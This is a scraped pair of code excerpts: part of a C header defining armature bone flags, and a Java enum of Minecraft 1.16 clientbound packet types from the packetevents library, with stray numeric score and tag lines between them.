*/ BONE_NO_DEFORM = (1 << 12), /* bone doesn't deform geometry */ BONE_UNKEYED = (1 << 13), /* set to prevent destruction of its unkeyframed pose (after transform) */ BONE_HINGE_CHILD_TRANSFORM = (1 << 14), /* set to prevent hinge child bones from influencing the transform center */ BONE_NO_SCALE = (1 << 15), /* No parent scale */ BONE_HIDDEN_PG = (1 << 16), /* hidden bone when drawing PoseChannels (for ghost drawing) */ BONE_DRAWWIRE = (1 << 17), /* bone should be drawn as OB_WIRE, regardless of draw-types of view+armature */ BONE_NO_CYCLICOFFSET = (1 << 18), /* when no parent, bone will not get cyclic offset */ BONE_EDITMODE_LOCKED = (1 << 19), /* bone transforms are locked in EditMode */ BONE_TRANSFORM_CHILD = (1 << 20), /* Indicates that a parent is also being transformed */ BONE_UNSELECTABLE = (1 << 21), /* bone cannot be selected */ BONE_NO_LOCAL_LOCATION = (1 << 22), /* bone location is in armature space */ BONE_RELATIVE_PARENTING = (1 << 23), /* object child will use relative transform (like deform) */ BONE_ADD_PARENT_END_ROLL = (1 << 24) /* it will add the parent end roll to the inroll */ } eBone_Flag; #define MAXBONENAME 64 #endif
1
0.889191
1
0.889191
game-dev
MEDIA
0.774954
game-dev
0.530803
1
0.530803
retrooper/packetevents
2,840
api/src/main/java/com/github/retrooper/packetevents/protocol/packettype/clientbound/ClientboundPacketType_1_16.java
/* * This file is part of packetevents - https://github.com/retrooper/packetevents * Copyright (C) 2022 retrooper and contributors * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package com.github.retrooper.packetevents.protocol.packettype.clientbound; public enum ClientboundPacketType_1_16 { SPAWN_ENTITY, SPAWN_EXPERIENCE_ORB, //This packet was removed. //SPAWN_WEATHER_ENTITY, SPAWN_LIVING_ENTITY, SPAWN_PAINTING, SPAWN_PLAYER, ENTITY_ANIMATION, STATISTICS, ACKNOWLEDGE_PLAYER_DIGGING, BLOCK_BREAK_ANIMATION, BLOCK_ENTITY_DATA, BLOCK_ACTION, BLOCK_CHANGE, BOSS_BAR, SERVER_DIFFICULTY, CHAT_MESSAGE, MULTI_BLOCK_CHANGE, TAB_COMPLETE, DECLARE_COMMANDS, WINDOW_CONFIRMATION, CLOSE_WINDOW, WINDOW_ITEMS, WINDOW_PROPERTY, SET_SLOT, SET_COOLDOWN, PLUGIN_MESSAGE, NAMED_SOUND_EFFECT, DISCONNECT, ENTITY_STATUS, EXPLOSION, UNLOAD_CHUNK, CHANGE_GAME_STATE, OPEN_HORSE_WINDOW, KEEP_ALIVE, CHUNK_DATA, EFFECT, PARTICLE, UPDATE_LIGHT, JOIN_GAME, MAP_DATA, MERCHANT_OFFERS, ENTITY_RELATIVE_MOVE, ENTITY_RELATIVE_MOVE_AND_ROTATION, ENTITY_ROTATION, ENTITY_MOVEMENT, VEHICLE_MOVE, OPEN_BOOK, OPEN_WINDOW, OPEN_SIGN_EDITOR, CRAFT_RECIPE_RESPONSE, PLAYER_ABILITIES, COMBAT_EVENT, PLAYER_INFO, FACE_PLAYER, PLAYER_POSITION_AND_LOOK, UNLOCK_RECIPES, DESTROY_ENTITIES, REMOVE_ENTITY_EFFECT, RESOURCE_PACK_SEND, RESPAWN, ENTITY_HEAD_LOOK, SELECT_ADVANCEMENTS_TAB, WORLD_BORDER, CAMERA, HELD_ITEM_CHANGE, UPDATE_VIEW_POSITION, UPDATE_VIEW_DISTANCE, DISPLAY_SCOREBOARD, ENTITY_METADATA, ATTACH_ENTITY, ENTITY_VELOCITY, ENTITY_EQUIPMENT, SET_EXPERIENCE, UPDATE_HEALTH, SCOREBOARD_OBJECTIVE, SET_PASSENGERS, TEAMS, UPDATE_SCORE, SPAWN_POSITION, TIME_UPDATE, TITLE, ENTITY_SOUND_EFFECT, SOUND_EFFECT, STOP_SOUND, PLAYER_LIST_HEADER_AND_FOOTER, NBT_QUERY_RESPONSE, COLLECT_ITEM, ENTITY_TELEPORT, UPDATE_ADVANCEMENTS, UPDATE_ATTRIBUTES, ENTITY_EFFECT, DECLARE_RECIPES, TAGS }
1
0.677027
1
0.677027
game-dev
MEDIA
0.907835
game-dev
0.516772
1
0.516772